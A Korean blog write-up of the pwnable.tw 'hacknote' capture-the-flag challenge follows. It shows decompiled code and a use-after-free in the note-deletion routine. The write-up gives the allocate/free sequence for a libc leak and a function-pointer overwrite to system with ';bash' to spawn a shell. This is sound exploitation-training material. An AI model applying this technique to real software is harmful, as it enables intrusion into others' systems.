-
hacknote - pwnable.twWrite-ups/pwnable.tw 2020. 2. 13. 18:31
Prob Info
Prob Info Checksec void __cdecl __noreturn main() { int v0; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v2; // [esp+Ch] [ebp-Ch] v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, &buf, 4u); v0 = atoi(&buf); if ( v0 != 2 ) break; delete_note(); } if ( v0 > 2 ) { if ( v0 == 3 ) { print_note(); } else { if ( v0 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v0 != 1 ) goto LABEL_13; add_note(); } } }
바이너리가 스트립되어있어 함수 하나하나 복원해줬다.
unsigned int add_note() { _DWORD *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !ptr[i] ) { ptr[i] = malloc(8u); if ( !ptr[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)ptr[i] = print_note_data; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = ptr[i]; v0[1] = malloc(size); if ( !*((_DWORD *)ptr[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)ptr[i] + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
노트를 최대 5개 까지 생성할 수 있으며 힙 구조를 분석을 해보면 아래와 같다.
0x0 0x11 print_note_data &data 0x0 (size + 0x8) | 1 data unsigned int delete_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) { free(*((void **)ptr[v1] + 1)); free(ptr[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
노트를 제거할 때 ptr 배열에서 지우지 않는 것을 확인할 수 있다. 이를 이용해 힙릭, libc 릭을 할 수 있다.
일단 libc릭을 하기 위해 small bin 크기의 청크를 만들고 해제해야 한다. 그와 동시에 아래의 코드를 통해 익스를 하면 된다.
unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); return __readgsdword(0x14u) ^ v3; }
5개의 노트 내에서 small bin으로 릭을 하고 fast bin으로 UAF를 이용하기 위해서는 아래와 같은 순서로 노트를 생성, 제거하면 된다.
makeNote(0x100, 'a'*8) makeNote(0x10, 'bbbb') deleteNote(0) makeNote(0x100, 'c'*4) printNote(2) # libc leak makeNote(0x10, 'dddd') deleteNote(1) deleteNote(3) makeNote()
마지막으로 생성한 노트의 데이터 청크가 인덱스 1번의 노트 헤더 청크와 동일하다. 이를 이용해 인덱스 1번의 함수 포인터를 변경하면 되는데, 인자로 함수 포인터 부분이 그대로 들어가서 system(&system); 이런 식으로 들어가버린다. 이를 우회하기 위해 &system(4바이트) + ";bash" 이런 식으로 문자열을 주면 된다.
'Write-ups > pwnable.tw' 카테고리의 다른 글
orw - pwnable.tw (0) 2020.02.13 start - pwnable.tw (0) 2020.02.13